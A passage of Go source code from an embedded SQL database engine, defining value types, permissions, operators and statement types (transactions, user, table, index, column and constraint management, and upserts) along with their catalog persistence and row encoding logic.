1 << iota ) const ( revCol = "_rev" txMetadataCol = "_tx_metadata" ) var reservedColumns = map[string]struct{}{ revCol: {}, txMetadataCol: {}, } func isReservedCol(col string) bool { _, ok := reservedColumns[col] return ok } type SQLValueType = string const ( IntegerType SQLValueType = "INTEGER" BooleanType SQLValueType = "BOOLEAN" VarcharType SQLValueType = "VARCHAR" UUIDType SQLValueType = "UUID" BLOBType SQLValueType = "BLOB" Float64Type SQLValueType = "FLOAT" TimestampType SQLValueType = "TIMESTAMP" AnyType SQLValueType = "ANY" JSONType SQLValueType = "JSON" ) func IsNumericType(t SQLValueType) bool { return t == IntegerType || t == Float64Type } type Permission = string const ( PermissionReadOnly Permission = "READ" PermissionReadWrite Permission = "READWRITE" PermissionAdmin Permission = "ADMIN" PermissionSysAdmin Permission = "SYSADMIN" ) func PermissionFromCode(code uint32) Permission { switch code { case 1: { return PermissionReadOnly } case 2: { return PermissionReadWrite } case 254: { return PermissionAdmin } } return PermissionSysAdmin } type AggregateFn = string const ( COUNT AggregateFn = "COUNT" SUM AggregateFn = "SUM" MAX AggregateFn = "MAX" MIN AggregateFn = "MIN" AVG AggregateFn = "AVG" ) type CmpOperator = int const ( EQ CmpOperator = iota NE LT LE GT GE ) func CmpOperatorToString(op CmpOperator) string { switch op { case EQ: return "=" case NE: return "!=" case LT: return "<" case LE: return "<=" case GT: return ">" case GE: return ">=" } return "" } type LogicOperator = int const ( And LogicOperator = iota Or ) func LogicOperatorToString(op LogicOperator) string { if op == And { return "AND" } return "OR" } type NumOperator = int const ( ADDOP NumOperator = iota SUBSOP DIVOP MULTOP MODOP ) func NumOperatorString(op NumOperator) string { switch op { case ADDOP: return "+" case SUBSOP: return "-" case DIVOP: return "/" case MULTOP: return "*" case MODOP: return "%" } return "" } type JoinType = int const ( InnerJoin JoinType = iota LeftJoin RightJoin ) type SQLStmt interface { readOnly() bool requiredPrivileges() []SQLPrivilege execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error } type BeginTransactionStmt struct { } func (stmt *BeginTransactionStmt) readOnly() bool { return true } func (stmt *BeginTransactionStmt) requiredPrivileges() []SQLPrivilege { return nil } func (stmt *BeginTransactionStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *BeginTransactionStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, ErrNestedTxNotSupported } err := tx.RequireExplicitClose() if err == nil { // current tx can be reused as no changes were already made return tx, nil } // commit current transaction and start a fresh one err = tx.Commit(ctx) if err != nil { return nil, err } return tx.engine.NewTx(ctx, tx.opts.WithExplicitClose(true)) } type CommitStmt struct { } func (stmt *CommitStmt) readOnly() bool { return true } func (stmt *CommitStmt) requiredPrivileges() []SQLPrivilege { return nil } func (stmt *CommitStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *CommitStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.IsExplicitCloseRequired() { return nil, ErrNoOngoingTx } return nil, tx.Commit(ctx) } type RollbackStmt struct { } func (stmt *RollbackStmt) readOnly() bool { return true } func (stmt *RollbackStmt) requiredPrivileges() []SQLPrivilege { return nil } func (stmt *RollbackStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *RollbackStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.IsExplicitCloseRequired() { return nil, ErrNoOngoingTx } return nil, tx.Cancel() } type CreateDatabaseStmt struct { DB string ifNotExists bool } func (stmt *CreateDatabaseStmt) readOnly() bool { return false } func (stmt *CreateDatabaseStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeCreate} } func (stmt *CreateDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: database creation can not be done within a transaction", ErrNonTransactionalStmt) } if tx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } return nil, tx.engine.multidbHandler.CreateDatabase(ctx, stmt.DB, stmt.ifNotExists) } type UseDatabaseStmt struct { DB string } func (stmt *UseDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *UseDatabaseStmt) readOnly() bool { return true } func (stmt *UseDatabaseStmt) requiredPrivileges() []SQLPrivilege { return nil } func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: database selection can NOT be executed within a transaction block", ErrNonTransactionalStmt) } if tx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } return tx, tx.engine.multidbHandler.UseDatabase(ctx, stmt.DB) } type UseSnapshotStmt struct { period period } func (stmt *UseSnapshotStmt) readOnly() bool { return true } func (stmt *UseSnapshotStmt) requiredPrivileges() []SQLPrivilege { return nil } func (stmt *UseSnapshotStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *UseSnapshotStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return nil, ErrNoSupported } type CreateUserStmt struct { username string password string permission Permission } func (stmt *CreateUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *CreateUserStmt) readOnly() bool { return false } func (stmt *CreateUserStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeCreate} } func (stmt *CreateUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: user creation can not be done within a transaction", ErrNonTransactionalStmt) } if tx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } return nil, tx.engine.multidbHandler.CreateUser(ctx, stmt.username, stmt.password, stmt.permission) } type AlterUserStmt struct { username string password string permission Permission } func (stmt *AlterUserStmt) readOnly() bool { return false } func (stmt *AlterUserStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeAlter} } func (stmt *AlterUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *AlterUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: user modification can not be done within a transaction", ErrNonTransactionalStmt) } if tx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } return nil, tx.engine.multidbHandler.AlterUser(ctx, stmt.username, stmt.password, stmt.permission) } type DropUserStmt struct { username string } func (stmt *DropUserStmt) readOnly() bool { return false } func (stmt *DropUserStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeDrop} } func (stmt *DropUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *DropUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: user deletion can not be done within a transaction", ErrNonTransactionalStmt) } if tx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } return nil, tx.engine.multidbHandler.DropUser(ctx, stmt.username) } type TableElem interface{} type CreateTableStmt struct { table string ifNotExists bool colsSpec []*ColSpec checks []CheckConstraint pkColNames PrimaryKeyConstraint } func NewCreateTableStmt(table string, ifNotExists bool, colsSpec []*ColSpec, pkColNames []string) *CreateTableStmt { return &CreateTableStmt{table: table, ifNotExists: ifNotExists, colsSpec: colsSpec, pkColNames: pkColNames} } func (stmt *CreateTableStmt) readOnly() bool { return false } func (stmt *CreateTableStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeCreate} } func (stmt *CreateTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func zeroRow(tableName string, cols []*ColSpec) *Row { r := Row{ ValuesByPosition: make([]TypedValue, len(cols)), ValuesBySelector: make(map[string]TypedValue, len(cols)), } for i, col := range cols { v := zeroForType(col.colType) r.ValuesByPosition[i] = v r.ValuesBySelector[EncodeSelector("", tableName, col.colName)] = v } return &r } func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if err := stmt.validatePrimaryKey(); err != nil { return nil, err } if stmt.ifNotExists && tx.catalog.ExistTable(stmt.table) { return tx, nil } colSpecs := make(map[uint32]*ColSpec, len(stmt.colsSpec)) for i, cs := range stmt.colsSpec { colSpecs[uint32(i)+1] = cs } row := zeroRow(stmt.table, stmt.colsSpec) for _, check := range stmt.checks { value, err := check.exp.reduce(tx, row, stmt.table) if err != nil { return nil, err } if value.Type() != BooleanType { return nil, ErrInvalidCheckConstraint } } nextUnnamedCheck := 0 checks := make(map[string]CheckConstraint) for id, check := range stmt.checks { name := fmt.Sprintf("%s_check%d", stmt.table, nextUnnamedCheck+1) if check.name != "" { name = check.name } else { nextUnnamedCheck++ } check.id = uint32(id) check.name = name checks[name] = check } table, err := tx.catalog.newTable(stmt.table, colSpecs, checks, uint32(len(colSpecs))) if err != nil { return nil, err } createIndexStmt := &CreateIndexStmt{unique: true, table: table.name, cols: stmt.primaryKeyCols()} _, err = createIndexStmt.execAt(ctx, tx, params) if err != nil { return nil, err } for _, col := range table.cols { if col.autoIncrement { if len(table.primaryIndex.cols) > 1 || col.id != table.primaryIndex.cols[0].id { return nil, ErrLimitedAutoIncrement } } err := persistColumn(tx, col) if err != nil { return nil, err } } for _, check := range checks { if err := persistCheck(tx, table, &check); err != nil { return nil, err } } mappedKey := MapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(DatabaseID), EncodeID(table.id)) err = tx.set(mappedKey, nil, []byte(table.name)) if err != nil { return nil, err } tx.mutatedCatalog = true return tx, nil } func (stmt *CreateTableStmt) validatePrimaryKey() error { n := 0 for _, spec := range stmt.colsSpec { if spec.primaryKey { n++ } } if len(stmt.pkColNames) > 0 { n++ } switch n { case 0: return ErrNoPrimaryKey case 1: return nil } return fmt.Errorf("\"%s\": %w", stmt.table, ErrMultiplePrimaryKeys) } func (stmt *CreateTableStmt) primaryKeyCols() []string { if len(stmt.pkColNames) > 0 { return stmt.pkColNames } for _, spec := range stmt.colsSpec { if spec.primaryKey { return []string{spec.colName} } } return nil } func persistColumn(tx *SQLTx, col *Column) error { //{auto_incremental | nullable}{maxLen}{colNAME}) v := make([]byte, 1+4+len(col.colName)) if col.autoIncrement { v[0] = v[0] | autoIncrementFlag } if col.notNull { v[0] = v[0] | nullableFlag } binary.BigEndian.PutUint32(v[1:], uint32(col.MaxLen())) copy(v[5:], []byte(col.Name())) mappedKey := MapKey( tx.sqlPrefix(), catalogColumnPrefix, EncodeID(DatabaseID), EncodeID(col.table.id), EncodeID(col.id), []byte(col.colType), ) return tx.set(mappedKey, nil, v) } func persistCheck(tx *SQLTx, table *Table, check *CheckConstraint) error { mappedKey := MapKey( tx.sqlPrefix(), catalogCheckPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(check.id), ) name := check.name expText := check.exp.String() val := make([]byte, 2+len(name)+len(expText)) if len(name) > 256 { return fmt.Errorf("constraint name len: %w", ErrMaxLengthExceeded) } val[0] = byte(len(name)) - 1 copy(val[1:], []byte(name)) copy(val[1+len(name):], []byte(expText)) return tx.set(mappedKey, nil, val) } type ColSpec struct { colName string colType SQLValueType maxLen int autoIncrement bool notNull bool primaryKey bool } func NewColSpec(name string, colType SQLValueType, maxLen int, autoIncrement bool, notNull bool) *ColSpec { return &ColSpec{ colName: name, colType: colType, maxLen: maxLen, autoIncrement: autoIncrement, notNull: notNull, } } type CreateIndexStmt struct { unique bool ifNotExists bool table string cols []string } func NewCreateIndexStmt(table string, cols []string, isUnique bool) *CreateIndexStmt { return &CreateIndexStmt{unique: isUnique, table: table, cols: cols} } func (stmt *CreateIndexStmt) readOnly() bool { return false } func (stmt *CreateIndexStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeCreate} } func (stmt *CreateIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if len(stmt.cols) < 1 { return nil, ErrIllegalArguments } if len(stmt.cols) > MaxNumberOfColumnsInIndex { return nil, ErrMaxNumberOfColumnsInIndexExceeded } table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } colIDs := make([]uint32, len(stmt.cols)) indexKeyLen := 0 for i, colName := range stmt.cols { col, err := table.GetColumnByName(colName) if err != nil { return nil, err } if col.Type() == JSONType { return nil, ErrCannotIndexJson } if variableSizedType(col.colType) && !tx.engine.lazyIndexConstraintValidation && (col.MaxLen() == 0 || col.MaxLen() > MaxKeyLen) { return nil, fmt.Errorf("%w: can not create index using column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } indexKeyLen += col.MaxLen() colIDs[i] = col.id } if !tx.engine.lazyIndexConstraintValidation && indexKeyLen > MaxKeyLen { return nil, fmt.Errorf("%w: can not create index using columns '%v'. Max key length is %d", ErrLimitedKeyType, stmt.cols, MaxKeyLen) } if stmt.unique && table.primaryIndex != nil { // check table is empty pkPrefix := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)) _, _, err := tx.getWithPrefix(ctx, pkPrefix, nil) if errors.Is(err, store.ErrIndexNotFound) { return nil, ErrTableDoesNotExist } if err == nil { return nil, ErrLimitedIndexCreation } else if !errors.Is(err, store.ErrKeyNotFound) { return nil, err } } index, err := table.newIndex(stmt.unique, colIDs) if errors.Is(err, ErrIndexAlreadyExists) && stmt.ifNotExists { return tx, nil } if err != nil { return nil, err } // v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)} // TODO: currently only ASC order is supported colSpecLen := EncIDLen + 1 encodedValues := make([]byte, 1+len(index.cols)*colSpecLen) if index.IsUnique() { encodedValues[0] = 1 } for i, col := range index.cols { copy(encodedValues[1+i*colSpecLen:], EncodeID(col.id)) } mappedKey := MapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(index.id)) err = tx.set(mappedKey, nil, encodedValues) if err != nil { return nil, err } tx.mutatedCatalog = true return tx, nil } type AddColumnStmt struct { table string colSpec *ColSpec } func NewAddColumnStmt(table string, colSpec *ColSpec) *AddColumnStmt { return &AddColumnStmt{table: table, colSpec: colSpec} } func (stmt *AddColumnStmt) readOnly() bool { return false } func (stmt *AddColumnStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeAlter} } func (stmt *AddColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *AddColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } col, err := table.newColumn(stmt.colSpec) if err != nil { return nil, err } err = persistColumn(tx, col) if err != nil { return nil, err } tx.mutatedCatalog = true return tx, nil } type RenameTableStmt struct { oldName string newName string } func (stmt *RenameTableStmt) readOnly() bool { return false } func (stmt *RenameTableStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeAlter} } func (stmt *RenameTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *RenameTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { table, err := tx.catalog.renameTable(stmt.oldName, stmt.newName) if err != nil { return nil, err } // update table name mappedKey := MapKey( tx.sqlPrefix(), catalogTablePrefix, EncodeID(DatabaseID), EncodeID(table.id), ) err = tx.set(mappedKey, nil, []byte(stmt.newName)) if err != nil { return nil, err } tx.mutatedCatalog = true return tx, nil } type RenameColumnStmt struct { table string oldName string newName string } func NewRenameColumnStmt(table, oldName, newName string) *RenameColumnStmt { return &RenameColumnStmt{table: table, oldName: oldName, newName: newName} } func (stmt *RenameColumnStmt) readOnly() bool { return false } func (stmt *RenameColumnStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeAlter} } func (stmt *RenameColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } col, err := table.renameColumn(stmt.oldName, stmt.newName) if err != nil { return nil, err } err = persistColumn(tx, col) if err != nil { return nil, err } tx.mutatedCatalog = true return tx, nil } type DropColumnStmt struct { table string colName string } func NewDropColumnStmt(table, colName string) *DropColumnStmt { return &DropColumnStmt{table: table, colName: colName} } func (stmt *DropColumnStmt) readOnly() bool { return false } func (stmt *DropColumnStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeDrop} } func (stmt *DropColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *DropColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } col, err := table.GetColumnByName(stmt.colName) if err != nil { return nil, err } err = canDropColumn(tx, table, col) if err != nil { return nil, err } err = table.deleteColumn(col) if err != nil { return nil, err } err = persistColumnDeletion(ctx, tx, col) if err != nil { return nil, err } tx.mutatedCatalog = true return tx, nil } func canDropColumn(tx *SQLTx, table *Table, col *Column) error { colSpecs := make([]*ColSpec, 0, len(table.Cols())-1) for _, c := range table.cols { if c.id != col.id { colSpecs = append(colSpecs, &ColSpec{colName: c.Name(), colType: c.Type()}) } } row := zeroRow(table.Name(), colSpecs) for name, check := range table.checkConstraints { _, err := check.exp.reduce(tx, row, table.name) if errors.Is(err, ErrColumnDoesNotExist) { return fmt.Errorf("%w %s because %s constraint requires it", ErrCannotDropColumn, col.Name(), name) } if err != nil { return err } } return nil } func persistColumnDeletion(ctx context.Context, tx *SQLTx, col *Column) error { mappedKey := MapKey( tx.sqlPrefix(), catalogColumnPrefix, EncodeID(DatabaseID), EncodeID(col.table.id), EncodeID(col.id), []byte(col.colType), ) return tx.delete(ctx, mappedKey) } type DropConstraintStmt struct { table string constraintName string } func (stmt *DropConstraintStmt) readOnly() bool { return false } func (stmt *DropConstraintStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeDrop} } func (stmt *DropConstraintStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } id, err := table.deleteCheck(stmt.constraintName) if err != nil { return nil, err } err = persistCheckDeletion(ctx, tx, table.id, id) tx.mutatedCatalog = true return tx, err } func persistCheckDeletion(ctx context.Context, tx *SQLTx, tableID uint32, checkId uint32) error { mappedKey := MapKey( tx.sqlPrefix(), catalogCheckPrefix, EncodeID(DatabaseID), EncodeID(tableID), EncodeID(checkId), ) return tx.delete(ctx, mappedKey) } func (stmt *DropConstraintStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } type UpsertIntoStmt struct { isInsert bool tableRef *tableRef cols []string ds DataSource onConflict *OnConflictDo } func (stmt *UpsertIntoStmt) readOnly() bool { return false } func (stmt *UpsertIntoStmt) requiredPrivileges() []SQLPrivilege { privileges := stmt.privileges() if stmt.ds != nil { privileges = append(privileges, stmt.ds.requiredPrivileges()...) } return privileges } func (stmt *UpsertIntoStmt) privileges() []SQLPrivilege { if stmt.isInsert { return []SQLPrivilege{SQLPrivilegeInsert} } return []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate} } func NewUpsertIntoStmt(table string, cols []string, ds DataSource, isInsert bool, onConflict *OnConflictDo) *UpsertIntoStmt { return &UpsertIntoStmt{ isInsert: isInsert, tableRef: NewTableRef(table, ""), cols: cols, ds: ds, onConflict: onConflict, } } type RowSpec struct { Values []ValueExp } func NewRowSpec(values []ValueExp) *RowSpec { return &RowSpec{ Values: values, } } type OnConflictDo struct{} func (stmt *UpsertIntoStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { ds, ok := stmt.ds.(*valuesDataSource) if !ok { return stmt.ds.inferParameters(ctx, tx, params) } emptyDescriptors := make(map[string]ColDescriptor) for _, row := range ds.rows { if len(stmt.cols) != len(row.Values) { return ErrInvalidNumberOfValues } for i, val := range row.Values { table, err := stmt.tableRef.referencedTable(tx) if err != nil { return err } col, err := table.GetColumnByName(stmt.cols[i]) if err != nil { return err } err = val.requiresType(col.colType, emptyDescriptors, params, table.name) if err != nil { return err } } } return nil } func (stmt *UpsertIntoStmt) validate(table *Table) (map[uint32]int, error) { selPosByColID := make(map[uint32]int, len(stmt.cols)) for i, c := range stmt.cols { col, err := table.GetColumnByName(c) if err != nil { return nil, err } _, duplicated := selPosByColID[col.id] if duplicated { return nil, fmt.Errorf("%w (%s)", ErrDuplicatedColumn, col.colName) } selPosByColID[col.id] = i } return selPosByColID, nil } func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { table, err := stmt.tableRef.referencedTable(tx) if err != nil { return nil, err } selPosByColID, err := stmt.validate(table) if err != nil { return nil, err } r := &Row{ ValuesByPosition: make([]TypedValue, len(table.cols)), ValuesBySelector: make(map[string]TypedValue), } reader, err := stmt.ds.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } defer reader.Close() for { row, err := reader.Read(ctx) if errors.Is(err, ErrNoMoreRows) { break } if err != nil { return nil, err } if len(row.ValuesByPosition) != len(stmt.cols) { return nil, ErrInvalidNumberOfValues } valuesByColID := make(map[uint32]TypedValue) var pkMustExist bool for colID, col := range table.colsByID { colPos, specified := selPosByColID[colID] if !specified { // TODO: Default values if col.notNull && !col.autoIncrement { return nil, fmt.Errorf("%w (%s)", ErrNotNullableColumnCannotBeNull, col.colName) } // inject auto-incremental pk value if stmt.isInsert && col.autoIncrement { // current implementation assumes only PK can be set as autoincremental table.maxPK++ pkCol := table.primaryIndex.cols[0] valuesByColID[pkCol.id] = &Integer{val: table.maxPK} if _, ok := tx.firstInsertedPKs[table.name]; !ok { tx.firstInsertedPKs[table.name] = table.maxPK } tx.lastInsertedPKs[table.name] = table.maxPK } continue } // value was specified cVal := row.ValuesByPosition[colPos] val, err := cVal.substitute(params) if err != nil { return nil, err } rval, err := val.reduce(tx, nil, table.name) if err != nil { return nil, err } if rval.IsNull() { if col.notNull || col.autoIncrement { return nil, fmt.Errorf("%w (%s)", ErrNotNullableColumnCannotBeNull, col.colName) } continue } if col.autoIncrement { // validate specified value nl, isNumber := rval.RawValue().(int64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } pkMustExist = nl <= table.maxPK if _, ok := tx.firstInsertedPKs[table.name]; !ok { tx.firstInsertedPKs[table.name] = nl } tx.lastInsertedPKs[table.name] = nl } valuesByColID[colID] = rval } for i, col := range table.cols { v := valuesByColID[col.id] if v == nil { v = NewNull(AnyType) } else if len(table.checkConstraints) > 0 && col.Type() == JSONType { s, _ := v.RawValue().(string) jsonVal, err := NewJsonFromString(s) if err != nil { return nil, err } v = jsonVal } r.ValuesByPosition[i] = v r.ValuesBySelector[EncodeSelector("", table.name, col.colName)] = v } if err := checkConstraints(tx, table.checkConstraints, r, table.name); err != nil { return nil, err } pkEncVals, err := encodedKey(table.primaryIndex, valuesByColID) if err != nil { return nil, err } // pk entry mappedPKey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) if len(mappedPKey) > MaxKeyLen { return nil, ErrMaxKeyLengthExceeded } _, err = tx.get(ctx, mappedPKey) if err != nil && !errors.Is(err, store.ErrKeyNotFound) { return nil, err } if errors.Is(err, store.ErrKeyNotFound) && pkMustExist { return nil, fmt.Errorf("%w: specified value must be greater than current one", ErrInvalidValue) } if stmt.isInsert { if err == nil && stmt.onConflict == nil { return nil, store.ErrKeyAlreadyExists } if err == nil && stmt.onConflict != nil { // TODO: conflict resolution may be extended. Currently only supports "ON CONFLICT DO NOTHING" continue } } err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, !stmt.isInsert) if err != nil { return nil, err } } return tx, nil } func checkConstraints(tx *SQLTx, checks map[string]CheckConstraint, row *Row, table string) error { for _, check := range checks { val, err := check.exp.reduce(tx, row, table) if err != nil { return fmt.Errorf("%w: %s", ErrCheckConstraintViolation, err) } if val.Type() != BooleanType { return ErrInvalidCheckConstraint } if !val.RawValue().(bool) { return fmt.Errorf("%w: %s", ErrCheckConstraintViolation, check.exp.String()) } } return nil } func (tx *SQLTx) encodeRowValue(valuesByColID map[uint32]TypedValue, table *Table) ([]byte, error) { valbuf := bytes.Buffer{} // null values are not serialized encodedVals := 0 for _, v := range valuesByColID { if !v.IsNull() { encodedVals++ } } b := make([]byte, EncLenLen) binary.BigEndian.PutUint32(b, uint32(encodedVals)) _, err := valbuf.Write(b) if err != nil { return nil, err } for _, col := range table.cols { rval, specified := valuesByColID[col.id] if !specified || rval.IsNull() { continue } b := make([]byte, EncIDLen) binary.BigEndian.PutUint32(b, uint32(col.id)) _, err = valbuf.Write(b) if err != nil { return nil, fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } encVal, err := EncodeValue(rval, col.colType, col.MaxLen()) if err != nil { return nil, fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } _, err = valbuf.Write(encVal) if err != nil { return nil, fmt.Errorf("%w: table: %s, column: %s", err, table.name, col.colName) } } return valbuf.Bytes(), nil } func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table, reuseIndex bool) error { var reusableIndexEntries map[uint32]struct{} if reuseIndex && len(table.indexes) > 1 { currPKRow, err := tx.fetchPKRow(ctx, table, valuesByColID) if err == nil { currValuesByColID := make(map[uint32]TypedValue, len(currPKRow.ValuesBySelector)) for _, col := range table.cols { encSel := EncodeSelector("", table.name, col.colName) currValuesByColID[col.id] = currPKRow.ValuesBySelector[encSel] } reusableIndexEntries, err = tx.deprecateIndexEntries(pkEncVals, currValuesByColID, valuesByColID, table) if err != nil { return err } } else if !errors.Is(err, ErrNoMoreRows) { return err } } rowKey := MapKey(tx.sqlPrefix(), RowPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(PKIndexID), pkEncVals) encodedRowValue, err := tx.encodeRowValue(valuesByColID, table) if err != nil { return err } err = tx.set(rowKey, nil, encodedRowValue) if err != nil { return err } // create in-memory and validate entries for secondary indexes for _, index := range table.indexes { if index.IsPrimary() { continue } if reusableIndexEntries != nil { _, reusable := reusableIndexEntries[index.id] if reusable { continue } } encodedValues := make([][]byte, 2+len(index.cols)) encodedValues[0] = EncodeID(table.id) encodedValues[1] = EncodeID(index.id) indexKeyLen := 0 for i, col := range index.cols { rval, specified := valuesByColID[col.id] if !specified { rval = &NullValue{t: col.colType} } encVal, n, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { return fmt.Errorf("%w: index on '%s' and column '%s'", err, index.Name(), col.colName) } if n > MaxKeyLen { return fmt.Errorf("%w: can not index entry for column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } indexKeyLen += n encodedValues[i+2] = encVal } if indexKeyLen > MaxKeyLen { return fmt.Errorf("%w: can not index entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, index.cols, MaxKeyLen) } smkey := MapKey(tx.sqlPrefix(), MappedPrefix, encodedValues...) // no other equivalent entry should be already indexed if index.IsUnique() { _, valRef, err := tx.getWithPrefix(ctx, smkey, nil) if err == nil && (valRef.KVMetadata() == nil || !valRef.KVMetadata().Deleted()) { return store.ErrKeyAlreadyExists } else if !errors.Is(err, store.ErrKeyNotFound) { return err } } err = tx.setTransient(smkey, nil, encodedRowValue) // only-indexable if err != nil { return err } } tx.updatedRows++ return nil } func encodedKey(index *Index, valuesByColID map[uint32]TypedValue) ([]byte, error) { valbuf := bytes.Buffer{} indexKeyLen := 0 for _, col := range index.cols { rval, specified := valuesByColID[col.id] if !specified || rval.IsNull() { return nil, ErrPKCanNotBeNull } encVal, n, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { return nil, fmt.Errorf("%w: index of table '%s' and column '%s'", err, index.table.name, col.colName) } if n > MaxKeyLen { return nil, fmt.Errorf("%w: invalid key entry for column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } indexKeyLen += n _, err = valbuf.Write(encVal) if err != nil { return nil, err } } if indexKeyLen > MaxKeyLen { return nil, fmt.Errorf("%w: invalid key entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, index.cols, MaxKeyLen) } return valbuf.Bytes(), nil } func (tx *SQLTx) fetchPKRow(ctx context.Context, table *Table, valuesByColID map[uint32]TypedValue) (*Row, error) { pkRanges := make(map[uint32]*typedValueRange, 